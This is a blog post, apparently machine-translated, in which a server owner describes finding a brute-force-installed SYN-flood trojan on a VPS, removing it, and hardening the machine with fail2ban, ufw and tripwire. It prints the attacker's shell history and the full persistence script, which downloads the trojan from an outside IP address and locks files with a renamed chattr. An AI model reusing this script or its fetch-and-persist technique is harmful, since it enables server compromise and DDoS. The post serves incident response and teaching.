Processing experience after the server is hacked

Processing experience after the server is hacked
Not long ago, I read a hacker story (Master vs. blog server hacked). After reading this article, I realized that my machine is in a streaking state, then I checked the log on the server with great interest. I found that someone was trying to crack my machine in a brute-force manner (or brute-force cracking), and the attack was still fierce. On that day, there were more than one million brute-force attempts! But at that time, I didn't care much about it. It should not happen if it is hacked ......
Just a few days later, one day (January 1, February 3) late at night, while lying in bed for leisure, I received a warning email from DO on January 1, January 29 (DO: Digital Ocean, A vps host provider, this blog is built on DO's vps ):

We are sorry to report that we have detected what appears to be a large flood of traffic from one or more of your servers that is disrupting the normal traffic flow for other users.

To prevent this traffic from causing further disruption, we have disabled the networking interface on the server or servers involved...

What is the situation! My server is hacked !!? DO has blocked my services !!? I immediately opened my browser to access my blog homepage, and it really went down. Then try to log on to the host through ssh. The connection fails. The host is blocked! This email was sent five days ago and I know it now! I was so scared that my expression was like this:

After finding the clues, I immediately ran to the study room and started to find the cause!
The server network is disabled and cannot be accessed through ssh. Fortunately, DO provides a Web console interface to log on to the server through the Web interface.
"DO has blocked my server network, and the thief should be unable to control my server now." I thought again, "You DO not need to change the password to prevent the host from being controlled again, find out the problem first."
Open the email again and observe the alarms provided by DO:

We are sorry to report that we have detected what appears to be a large flood of traffic from one or more of your servers that is disrupting the normal traffic flow for other users.

To prevent this traffic from causing further disruption, we have disabled the networking interface on the server or servers involved...

"Is the server hijacked as a zombie to attack other networks !?", It was a bit confusing. It was completely unclear what the attacker did with my server. It seemed like the attacker was a zombie.
Therefore, you should check the problematic process.
Since it is a traffic flood, check the network first.

$ sudo ss -pState       Recv-Q Send-Q   Local Address:Port       Peer Address:Port   SYN-SENT    0      4            127.0.0.1:36512      183.60.149.202:43200users:(("icnanker",14519,4))...

Unexpectedly, I saw a very suspicious program: icnanker, which keeps trying to send tcp syn packets to 183.60.149.202: 43200! I immediately searched for the IP address information and found that it was an IP address in Dongguan. Let's continue. Find out all the problematic processes first.


Three suspicious processes are found in the Process List:

$ ps aux(...)root     13648  0.0  0.1 23656   556 ?        Ss    Jan28   0:43 /etc/init.d/apache2.shroot     14519  0.0  0.2 85872  1208 ?        S     Jan28   23:41 /usr/bin/icnankerroot     26595  0.0  0.2 61364  1224 ?        S     Jan28   0:00 /usr/bin/.sshd(...)

First, I have not installed apache. The name such as apache2.sh is too suspicious.
Second, the name of the. sshd process is even more suspicious. the sshd daemon is sshd, which is too disguised.
Third, only these three processes were started on Jan28, that is, July 22, January 28. This reminds me of the traffic flood caused by the 29th. There must be a problem.
Then subconsciously go to the login log:

# grep "Accepted" /var/log/auth.log.1(...)Jan 26 16:55:49 mon sshd[13955]: Accepted password for root from 61.160.247.8 port 1604 ssh2Jan 28 17:12:03 mon sshd[30407]: Accepted password for root from 61.166.50.23 port 3343 ssh2(...)# grep "Jan 2[5-8] .*sshd.*Failed" /var/log/auth.log.1 | wc  21806  355851 2333557

Both Jan 26 and Jan 28 have logged on to the root account on my machine! The Ip source is found in Yunnan and Jiangsu respectively, which is also very strange. What surprised me more was that, from Jan 25 to Feb 28, there were two million + brute-force cracking attempts!
When I saw these results, I actually understood why I was broken-because my password was very simple, and it was as simple as a password like "123456. At this time, my expression is like this:

Immediately switch to the root user and check the root command record to see if he can trace what this guy has done on my machine. At the same time, in his heart, God prayed that he had not wiped his footprints.

# history(...)cp /usr/bin/wget /usr/bin/vgetcp /usr/bin/chattr /usr/bin/lockr chmod 0 /usr/bin/chattr;chmod 0 /usr/bin/wgetlockr +i /usr/bin/chattr;lockr +i /usr/bin/wgetchmod 0755 /usr/bin/vget;chmod 0755 /usr/bin/lockrvget http://183.60.149.202:8080/apache2.sh mv /root/apache2.sh /etc/init.d/apache2.shchmod 0755 /etc/init.d/apache2.sh nohup sh /etc/init.d/apache2.sh >/dev/null 2>&1 &lockr +i /etc/init.d/apache2.shvi /etc/rc.locallockr +i /etc/rc.localless /etc/init.d/apache2.sh

I am deeply touched and deeply touched. "Fortunately, this dumb has not wiped footprints." Haha ..
Make a fist-shaped, stand up, go out of the study room, pick up the boiling water, come back, continue!
"I need to know what this guy did to my machine !"
From the above command records, the/etc/init. d/apache2.sh script is highly suspected. view the script content:

# cat /etc/init.d/apache2.sh#!/bin/shwhile [ 1 -gt 0 ];doGet="/usr/bin/vget"Lok="/usr/bin/lockr"Bak="/usr/bin/.filebak"hosts="/etc/hosts.bak"File="/usr/bin/icnanker"if [ ! -f  "$hosts" ];then    cp -f /etc/hosts.deny /etc/hosts.bak    lockr +i /etc/hosts.bakfiif [ ! -f  "$Lok" ];then    cp -f /usr/bin/chattr /usr/bin/lockr    cp -f /usr/bin/chattr /usr/bin/.locks    cp -f /usr/bin/.locks /usr/bin/lockr    chmod 0755 /usr/bin/lockr    chmod 0755 /usr/bin/.locks    lockr +i /usr/bin/lockr    lockr +i /usr/bin/.locksfiif [ ! -f  "$Get" ];then    cp -f /usr/bin/wget /usr/bin/vget    cp -f /usr/bin/wget /usr/bin/.bget    cp -f /usr/bin/.bget /usr/bin/vget    chmod 0755 /usr/bin/vget    chmod 0755 /usr/bin/.bget    lockr +i /usr/bin/vget    lockr +i /usr/bin/.bgetfiExist=`ss|grep 183.60.149.202:43200|grep -v "grep" `if [ -z "$Exist" ];then    lockr -i /usr/bin/.filebak    lockr -i /usr/bin/icnanker    chmod 0755 /usr/bin/.filebak    chmod 0755 /usr/bin/icnanker    if [ ! -f  "$File" ];then        if [ ! -f  "$Bak" ];then            rm -f /etc/init.d/icnanker;rm -f /etc/init.d/icnanker.1            vget -P /etc/init.d/ vget http://183.60.149.202:8080/icnanker            mv /etc/init.d/icnanker /usr/bin/icnanker        else            cp -f /usr/bin/.filebak /usr/bin/icnanker        fi    fi    pkill icnanker;pkill icnanker    chmod 0755 /usr/bin/icnanker    lockr +i /usr/bin/icnanker    /usr/bin/icnankerfiif [ ! -f  "$Bak" ];then    cp -f /usr/bin/icnanker /usr/bin/.filebak    chmod 0755 /usr/bin/.filebak    lockr +i /usr/bin/.filebakfichmod 0 /usr/bin/wgetlockr +i /usr/bin/wgetchmod 0 /usr/bin/chattrlockr +i /usr/bin/chattrchmod 0 /usr/lib/sftp-serverlockr +i /usr/lib/sftp-serverlockr -i /etc/hosts.deny;cp /etc/hosts.bak /etc/hosts.deny;lockr +i /etc/hosts.denysleep 30done

After careful consideration, this should be the background daemon of "icnanker" to ensure that "icnanker" is always running.

What does "icnanker" do, what does it do on my system, and what other "bad guys" are there on the server?

Open "icnanker" and check the content of "icnanker". It is binary and cannot be viewed. However, according to DO detection, apache2.sh script content, and a large number of tcp link attempts that "icnanker" has been conducting, it seems that this is a DDoS Trojan, syn flood.

So I began to search for the trojan details on the network. After some attempts, I still failed to find the detailed information about the trojan. "Let's put it first and pick out other Trojans first ".
I was a little confused and confused when I searched the whole city. "I don't know about the virus at all !"

After some searches, I found clamAV, a very popular open-source Virus engine that can scan and detect trojans, viruses, and malicious programs !!

I immediately scanned the whole site file with the clamAV artifact and found many other Trojans:

/usr/bin/icnanker/usr/bin/.filebak/usr/bin/.sshd/usr/bin/lsof/usr/bin/bsd-port/getty/bin/ps/bin/netstat/bin/ss

Oh, no !!!
Ps, netstat, ss, and lsof are all commonly used system tools used to monitor server status!

"It's really dangerous. If you don't search for viruses on the whole machine, it's easy to be inexplicably infected !", Cold sweat.

At this time, my expression is like this:

Well, the mood is very heavy. Very heavy. Very, very heavy.

With a heavy mood, I started to think calmly and draw the following inferences (FACTS ):

Attackers used brute-force cracking to log on to the server. In January 26, they successfully broke through. In January 28, they planted Trojans and started tcp syn flood on the 29th. After flood lasted for a while, they were detected by DO and blocked my host. The attacker did not clear the logs and did not perform anything extremely destructive on the machine. The attacker not only planted an obvious trojan named "icnanker", but also dropped key programs on the host using some other Trojans.

So, I need to resist.

Kill Trojan process

# Kill 13648 # kill apache2.sh # kill 14519 # kill "icnanker" # kill 26595 # kill. sshd

Clear Trojans

Check the Command record and apache2.sh again to confirm the steps for clearing the Trojan Horse:

# history(...)     4  cp /usr/bin/wget /usr/bin/vget     5  cp /usr/bin/chattr /usr/bin/lockr     6  chmod 0 /usr/bin/chattr;chmod 0 /usr/bin/wget     7  lockr +i /usr/bin/chattr;lockr +i /usr/bin/wget     8  chmod 0755 /usr/bin/vget;chmod 0755 /usr/bin/lockr     9  vget http://183.60.149.202:8080/apache2.sh     10  mv /root/apache2.sh /etc/init.d/apache2.sh     11  chmod 0755 /etc/init.d/apache2.sh     12  nohup sh /etc/init.d/apache2.sh >/dev/null 2>&1 &     13  lockr +i /etc/init.d/apache2.sh     14  vi /etc/rc.local     15  lockr +i /etc/rc.local     16  less /etc/init.d/apache2.sh# cat /etc/init.d/apache2.sh#!/bin/shwhile [ 1 -gt 0 ];doGet="/usr/bin/vget"Lok="/usr/bin/lockr"Bak="/usr/bin/.filebak"hosts="/etc/hosts.bak"File="/usr/bin/icnanker"if [ ! -f  "$hosts" ];then     cp -f /etc/hosts.deny /etc/hosts.bak     lockr +i /etc/hosts.bakfiif [ ! -f  "$Lok" ];then     cp -f /usr/bin/chattr /usr/bin/lockr     cp -f /usr/bin/chattr /usr/bin/.locks     cp -f /usr/bin/.locks /usr/bin/lockr     chmod 0755 /usr/bin/lockr     chmod 0755 /usr/bin/.locks     lockr +i /usr/bin/lockr     lockr +i /usr/bin/.locksfiif [ ! -f  "$Get" ];then     cp -f /usr/bin/wget /usr/bin/vget     cp -f /usr/bin/wget /usr/bin/.bget     cp -f /usr/bin/.bget /usr/bin/vget     chmod 0755 /usr/bin/vget     chmod 0755 /usr/bin/.bget     lockr +i /usr/bin/vget     lockr +i /usr/bin/.bgetfiExist=`ss|grep 183.60.149.202:43200|grep -v "grep" `if [ -z "$Exist" ];then     lockr -i /usr/bin/.filebak     lockr -i /usr/bin/icnanker     chmod 0755 /usr/bin/.filebak     chmod 0755 /usr/bin/icnanker     if [ ! -f  "$File" ];then         if [ ! -f  "$Bak" ];then             rm -f /etc/init.d/icnanker;rm -f /etc/init.d/icnanker.1             vget -P /etc/init.d/ vget http://183.60.149.202:8080/icnanker             mv /etc/init.d/icnanker /usr/bin/icnanker         else             cp -f /usr/bin/.filebak /usr/bin/icnanker         fi     fi     pkill icnanker;pkill icnanker     chmod 0755 /usr/bin/icnanker     lockr +i /usr/bin/icnanker     /usr/bin/icnankerfiif [ ! -f  "$Bak" ];then     cp -f /usr/bin/icnanker /usr/bin/.filebak     chmod 0755 /usr/bin/.filebak     lockr +i /usr/bin/.filebakfichmod 0 /usr/bin/wgetlockr +i /usr/bin/wgetchmod 0 /usr/bin/chattrlockr +i /usr/bin/chattrchmod 0 /usr/lib/sftp-serverlockr +i /usr/lib/sftp-serverlockr -i /etc/hosts.deny;cp /etc/hosts.bak /etc/hosts.deny;lockr +i /etc/hosts.denysleep 30done

Hum, you can play with me like this. These lines of commands and scripts try to interfere with my attempt to delete the virus from the machine:

Step 1: copy/usr/bin/chattr to/usr/bin/lockr

Cp/usr/bin/chattr/usr/bin/lockr

Step 2: Change chattr to an unreadable and unwritable permission.

Chmod 0/usr/bin/chattr

Step 3: Lock the chattr and make it unmodifiable.

Lockr + I/usr/bin/chattr

Step 4: Lock all other Trojans so that they cannot be deleted, such as icnanker.

Lockr + I/usr/bin/icnanker

Step 5: add the trojan program to the system boot script (/etc/rc. local) and run the trojan automatically at each boot.

In this way, if you do not understand this logic, the virus to be deleted, such as icnanker, will be inexplicably rejected:

# rm /usr/bin/icnanker rm: cannot remove ‘icnanker’: Operation not permitted

Fortunately, I am a terrible patient. I immediately checked what chattr was doing. It turns out that linux Files can also set some additional attributes. For example, there is an attribute 'I', which means "immutable", that is, restrict the file to be unchangeable (delete, modify file content, change file permissions, etc ). Then, after attaching the 'I property to icnanker through lockr + I/usr/bin/icnanker, I cannot delete icnanker!

This is a very straightforward idea. But to prevent me from doing this, remember that the chattr tool excludes the chattr execution permission through the chmod 0/usr/bin/chattr command. In other words, I cannot run chattr to remove the icnanker's 'I attribute!

Is there no way to delete these Trojans?

NO, NO, NO. You just need to make the plan.

Remember, the above script copied/usr/bin/chattr to/usr/bin/lockr. Then I can directly use lockr to unlock chattr?

# lockr -i /usr/bin/chattr# chmod 755 /usr/bin/chattr# chattr -i /usr/bin/icnanker# rm /usr/bin/icnanker(...)

In this way, the attacker's trap will be unlocked. Here I think the attacker's IQ is worth discussing. I should be superior in IQ. A little entertaining...

Trojan, I collected it all step by step, and prepared to burn it later.

Next, it is time to think about countermeasures. On the surface, this brute force attack is a curse caused by weak passwords. In fact, it is still because it is too lazy to know that it is dangerous, but it is lucky. "Well, we must adopt a comprehensive security policy this time !"

After some research, we will start from two aspects: protection mechanism and detection mechanism. One is to enhance security and increase the difficulty of hacker attacks. The other is to strengthen vigilance. Once an intrusion is detected, the system can immediately know and respond quickly.

Build walls

(SSH) logon Security Policy

Use a strong password !! The vast majority of brute-force attacks are caused by the weak password! Setting ssh does not allow root login! Because most brute-force logon attempts are targeted at root users! Do not disclose host user name and other information !! This is mainly to prevent targeted brute-force attacks. If others know your username and have some knowledge about you, the probability of your password being guessed will be greatly increased. Check the IP address and block it! There is a very useful tool named "fail2ban", which can scan the logon logs of the host and limit the number of failed logins from a single IP address. If the limit is exceeded, the IP address will be banned.

Firewall

The firewall is mainly used to shut down unnecessary network services and reduce the risks caused by vulnerabilities in conventional programs. Similarly, there is a very useful tool, "ufw", you can easily set up the Firewall:

# ufw allow 80/tcp # ufw allow ssh

Only two services, web service and ssh service, are enabled.

Some Suggestions

In fact, there are too many ways to attack my server, and brute force password cracking is only one of them. There are still a lot of attacks using software vulnerabilities. Do you remember a series of horrible vulnerabilities in the past year: HeartBleed, shellshock !! To keep these painful lessons in mind, remember:

Pay attention to security trends and immediately update software security patches! Restrict the service and only allow the running service to run! When installing unofficial packages, be cautious and be careful when your package is dropped! Citywide alert

After the city wall is built, it is time to deploy the sentry.

How can we monitor the health status of the server?

There are still some tools available in linux. After some comparison, I finally chose tripwire. She can detect changes in key linux Files, such as files in the/usr/bin directory. So I configured a crontab and checked key files of the system every morning to see if there were any problems and reported them to me by email.

Mail crontab Configuration:

30 14 * * * /usr/sbin/tripwire --check | mail -s "Tripwire report for `uname -n`" monklof@gmail.com -r report.tripwire

In this way, every day, I can check whether the system is damaged through the file.

Based on this lesson, I wrote a script to check the logon status of the system yesterday to check the logon status of the user every day:

Login_review.sh:

#! /usr/bin/env bash # monitor yesterday's login via ssh, and send report email  date=`date -d "yesterday" +"%b %e"`yesterday_acceptedlog=`grep "${date}.*sshd.*Accepted" /var/log/auth.log | grep -v "sudo"`fail=`grep "${date}.*sshd.*Failed" /var/log/auth.log | grep -v "sudo" | wc -l` success=`printf "%s" "$yesterday_acceptedlog" |wc -l` warn=""if [ $success -gt 0 ]thenwarn="[WARN] "fihtml="  ${warn}SSH Login Reports for `uname -n` at $date            Success logins: $success                      Time         User         Login Method       `echo $yesterday_acceptedlog | awk '{if(length !=0)printf \"%s%s%s (%s:%s)\n\",$3,$9,$7,$11,$13}'`           Failed Trys:  $fail       " case $1 in -d | --debug)     printf "Success logs: %d\n%s\nRendered Html:\n%s" $success "$yesterday_acceptedlog" "$html"    ;;*)    echo $html | mail -s "${warn}SSH Login Report for `uname -n` at $date" monklof@gmail.com -r report.login_review -a "Content-type: text/html"    ;;esac

 

Then configure a crontab and check every day:

25 14 * * * /usr/local/bin/login_review.sh

In this way, I can receive two reports every day:

Second (second) Second

After stopping the blog for nearly a week, I made basic protection and carefully restarted the server. (The implementation of the above security policies is also ongoing after the service is started)

On the day when the server is restarted, you can view the traffic on the day when the server is attacked through the do o & M interface:

We can see that the tcp syn flood traffic reached 140 Mbps on the 29th day! You have a lingering fear.

In the next few days, check fail2ban every day to view banned ip addresses, view reports, and view system health status. The effect is remarkable. The number of failed brute-force attempts per day has been reduced from tens of thousands to less than 500. And no problems have occurred so far.